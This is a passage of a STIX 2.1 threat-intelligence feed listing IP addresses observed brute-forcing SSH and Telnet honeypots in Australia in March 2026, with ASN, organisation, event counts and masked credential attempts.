      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--09d4700f-df94-4147-8983-4842acdc57b4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.142.125.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T03:15:10.000Z",
      "valid_until": "2026-04-05T03:15:05.000Z"
    },
    {
      "created": "2026-03-04T04:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 213520. Organisation(s): Senko Digital LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*********!, 3***********4, 3**********4, A********4, A*****$.",
      "id": "indicator--aa9e556e-cd42-4edb-b059-683e185b6c9c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '144.31.122.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T04:15:13.000Z",
      "valid_until": "2026-04-05T04:15:12.000Z"
    },
    {
      "created": "2026-03-04T04:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 240. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, B********3, P***********!, Q******4.",
      "id": "indicator--030ca50c-9020-4435-bbb2-c9deb7830c51",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.32.175.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T04:15:13.000Z",
      "valid_until": "2026-04-05T04:15:12.000Z"
    },
    {
      "created": "2026-03-04T04:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 276. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, B********3, P***********!, Q******4.",
      "id": "indicator--281dd528-fa12-4d66-9a82-052f41c3f1f1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.32.203.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T04:15:13.000Z",
      "valid_until": "2026-04-05T04:15:12.000Z"
    },
    {
      "created": "2026-03-04T04:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--47289d23-f5fd-4328-b6ba-a1baa23ebe02",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T04:15:13.000Z",
      "valid_until": "2026-04-05T04:15:12.000Z"
    },
    {
      "created": "2026-03-04T04:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 206. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1**************V, A*********!, B********3.",
      "id": "indicator--073bd8ca-21a1-4191-a3ad-bc88c7853b0a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.134.49.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T04:15:13.000Z",
      "valid_until": "2026-04-05T04:15:12.000Z"
    },
    {
      "created": "2026-03-04T04:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 131740. Organisation(s): PT Smart Media Pratama. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*********!, 3***********4, 3**********4, A********4, A*****$.",
      "id": "indicator--98144b27-e8e8-4084-8f66-ee2fc9bef668",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.245.249.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T04:15:13.000Z",
      "valid_until": "2026-04-05T04:15:12.000Z"
    },
    {
      "created": "2026-03-04T04:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 48090. Organisation(s): Techoff Srv Limited.",
      "id": "indicator--4c6707cf-1203-4619-aad3-5190dc6bab15",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.148.10.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T04:15:13.000Z",
      "valid_until": "2026-04-05T04:15:12.000Z"
    },
    {
      "created": "2026-03-04T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*****3, 1******f, 3***********4, 3**********4, A******0.",
      "id": "indicator--553c4342-6762-4202-b266-5fa424c9b04b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.32.128.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T05:15:13.000Z",
      "valid_until": "2026-04-05T05:15:11.000Z"
    },
    {
      "created": "2026-03-04T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 135. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 18109. Organisation(s): MAISHA NET. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1********a, 3***********4, 3**********4, A*******r, B********3.",
      "id": "indicator--87ba0f74-b99a-493a-ab45-89f4a82a1a8b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.86.198.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T05:15:13.000Z",
      "valid_until": "2026-04-05T05:15:11.000Z"
    },
    {
      "created": "2026-03-04T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--d418fb8e-27f0-4676-902f-c53c81ad9821",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '115.190.242.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T05:15:13.000Z",
      "valid_until": "2026-04-05T05:15:11.000Z"
    },
    {
      "created": "2026-03-04T05:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 1221. Organisation(s): Telstra Limited.",
      "id": "indicator--71f5bf03-d680-442c-81f9-b166dd68bed6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '120.157.143.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T05:15:13.000Z",
      "valid_until": "2026-04-05T05:15:11.000Z"
    },
    {
      "created": "2026-03-04T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******v, 3***********4, 3**********4, A******2, a*****#.",
      "id": "indicator--ab259303-a5bd-4445-a0d1-0f99a59f513c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '132.226.22.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T05:15:13.000Z",
      "valid_until": "2026-04-05T05:15:11.000Z"
    },
    {
      "created": "2026-03-04T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--2e6d4418-65f5-4c7d-bc53-04e43e36154d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T05:15:13.000Z",
      "valid_until": "2026-04-05T05:15:11.000Z"
    },
    {
      "created": "2026-03-04T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1********e, 1*******@, 3***********4, 3**********4, A******!.",
      "id": "indicator--4cdfd787-7733-4a40-84ea-3cd78ab57565",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '171.244.141.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T05:15:13.000Z",
      "valid_until": "2026-04-05T05:15:11.000Z"
    },
    {
      "created": "2026-03-04T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 263626. Organisation(s): G-LAB Telecom Informatica LTDA - ME. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !******x, 1******v, 3***********4, 3**********4, A******2.",
      "id": "indicator--418a3370-7058-458d-b474-a6e13d989112",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '179.125.24.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T05:15:13.000Z",
      "valid_until": "2026-04-05T05:15:11.000Z"
    },
    {
      "created": "2026-03-04T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t. Passwords observed (masked): Q*******4.",
      "id": "indicator--02022375-6e0b-4e5d-92ae-360aae4a95e2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.112.79.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T05:15:13.000Z",
      "valid_until": "2026-04-05T05:15:11.000Z"
    },
    {
      "created": "2026-03-04T05:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation.",
      "id": "indicator--80548017-1fe8-4fd9-b95e-e13caa05ae7f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '58.151.173.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T05:15:13.000Z",
      "valid_until": "2026-04-05T05:15:11.000Z"
    },
    {
      "created": "2026-03-04T05:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 9269. Organisation(s): Hong Kong Broadband Network Ltd..",
      "id": "indicator--68554e90-f00c-48db-a5df-d4be70bd12ed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '58.176.16.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T05:15:13.000Z",
      "valid_until": "2026-04-05T05:15:11.000Z"
    },
    {
      "created": "2026-03-04T06:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 141140. Organisation(s): PT Jinde Grup Indonesia.",
      "id": "indicator--15c79056-de98-49e4-afd9-faea8027efab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.93.93.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T06:15:14.000Z",
      "valid_until": "2026-04-05T06:15:11.000Z"
    },
    {
      "created": "2026-03-04T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**********0, 3***********4, 3**********4, 8****5, A********4.",
      "id": "indicator--c8937107-7448-4847-9a42-1e24bf5bc885",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.32.239.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T06:15:14.000Z",
      "valid_until": "2026-04-05T06:15:11.000Z"
    },
    {
      "created": "2026-03-04T06:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--036989be-d3fc-4c85-82d2-11a44dfa06b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '210.91.200.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T06:15:14.000Z",
      "valid_until": "2026-04-05T06:15:11.000Z"
    },
    {
      "created": "2026-03-04T06:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 16574. Organisation(s): Gtek Computers LLC.",
      "id": "indicator--5091cc94-a8e7-4310-9aa8-2b13afa146c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '8.24.208.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T06:15:14.000Z",
      "valid_until": "2026-04-05T06:15:11.000Z"
    },
    {
      "created": "2026-03-04T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: IT. ASN(s): 209274. Organisation(s): Kraken Network ISP LTD.",
      "id": "indicator--1e75487f-d130-4652-9dc6-81b1281d4e25",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '80.71.224.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T06:15:14.000Z",
      "valid_until": "2026-04-05T06:15:11.000Z"
    },
    {
      "created": "2026-03-04T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 136907. Organisation(s): HUAWEI CLOUDS. Usernames observed (masked): r**t. Passwords observed (masked): B********3.",
      "id": "indicator--725aa4b9-3cca-4687-8ddc-f6285a7b2bc1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '111.119.232.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T07:15:14.000Z",
      "valid_until": "2026-04-05T07:15:11.000Z"
    },
    {
      "created": "2026-03-04T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--9c51f2f0-8515-435d-afb1-cbacf6a78d29",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.255.250.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T07:15:14.000Z",
      "valid_until": "2026-04-05T07:15:11.000Z"
    },
    {
      "created": "2026-03-04T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 46606. Organisation(s): Unified Layer. Usernames observed (masked): r**t. Passwords observed (masked): B********3.",
      "id": "indicator--cb75b7ef-b8a2-495c-803d-0767bb4f3e3e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.240.230.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T07:15:14.000Z",
      "valid_until": "2026-04-05T07:15:11.000Z"
    },
    {
      "created": "2026-03-04T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 142002. Organisation(s): Scloud Pte Ltd. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, B********3.",
      "id": "indicator--06001c7f-0f7d-4423-b74d-2a6e38287647",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.154.229.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T07:15:14.000Z",
      "valid_until": "2026-04-05T07:15:11.000Z"
    },
    {
      "created": "2026-03-04T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 156. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4, r****1. Passwords observed (masked): 3***********4, 3**********4, 1*******!, B********3, P***********4.",
      "id": "indicator--d83a79ff-9563-4460-8407-3ab43a33554b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '192.81.208.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T07:15:14.000Z",
      "valid_until": "2026-04-05T07:15:11.000Z"
    },
    {
      "created": "2026-03-04T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 17665. Organisation(s): ONEOTT INTERTAINMENT LIMITED. Usernames observed (masked): r**t. Passwords observed (masked): p****r.",
      "id": "indicator--4c847d3c-20dc-4fef-9ced-8b37c2e1b26a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '203.192.232.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T07:15:14.000Z",
      "valid_until": "2026-04-05T07:15:11.000Z"
    },
    {
      "created": "2026-03-04T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: EG. ASN(s): 8452. Organisation(s): TE Data. Usernames observed (masked): r**t. Passwords observed (masked): k*****i.",
      "id": "indicator--7ef9c43f-3d6d-434a-b464-1e121abf2d29",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.33.91.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T07:15:14.000Z",
      "valid_until": "2026-04-05T07:15:11.000Z"
    },
    {
      "created": "2026-03-04T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA. Usernames observed (masked): r**t. Passwords observed (masked): A******5.",
      "id": "indicator--91bb8d16-34fa-4c3d-8aba-9d16a8463438",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.229.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T07:15:14.000Z",
      "valid_until": "2026-04-05T07:15:11.000Z"
    },
    {
      "created": "2026-03-04T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): t******s.",
      "id": "indicator--b2e92ddc-ecaa-437d-890b-1637081a3487",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.227.139.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T07:15:14.000Z",
      "valid_until": "2026-04-05T07:15:11.000Z"
    },
    {
      "created": "2026-03-04T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 216473. Organisation(s): Bashinskii Vadim Ruslanovich.",
      "id": "indicator--f10cbed5-d0ed-4ada-90a3-e8d99d3c5404",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '80.66.83.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T07:15:14.000Z",
      "valid_until": "2026-04-05T07:15:11.000Z"
    },
    {
      "created": "2026-03-04T07:15:14.000Z",
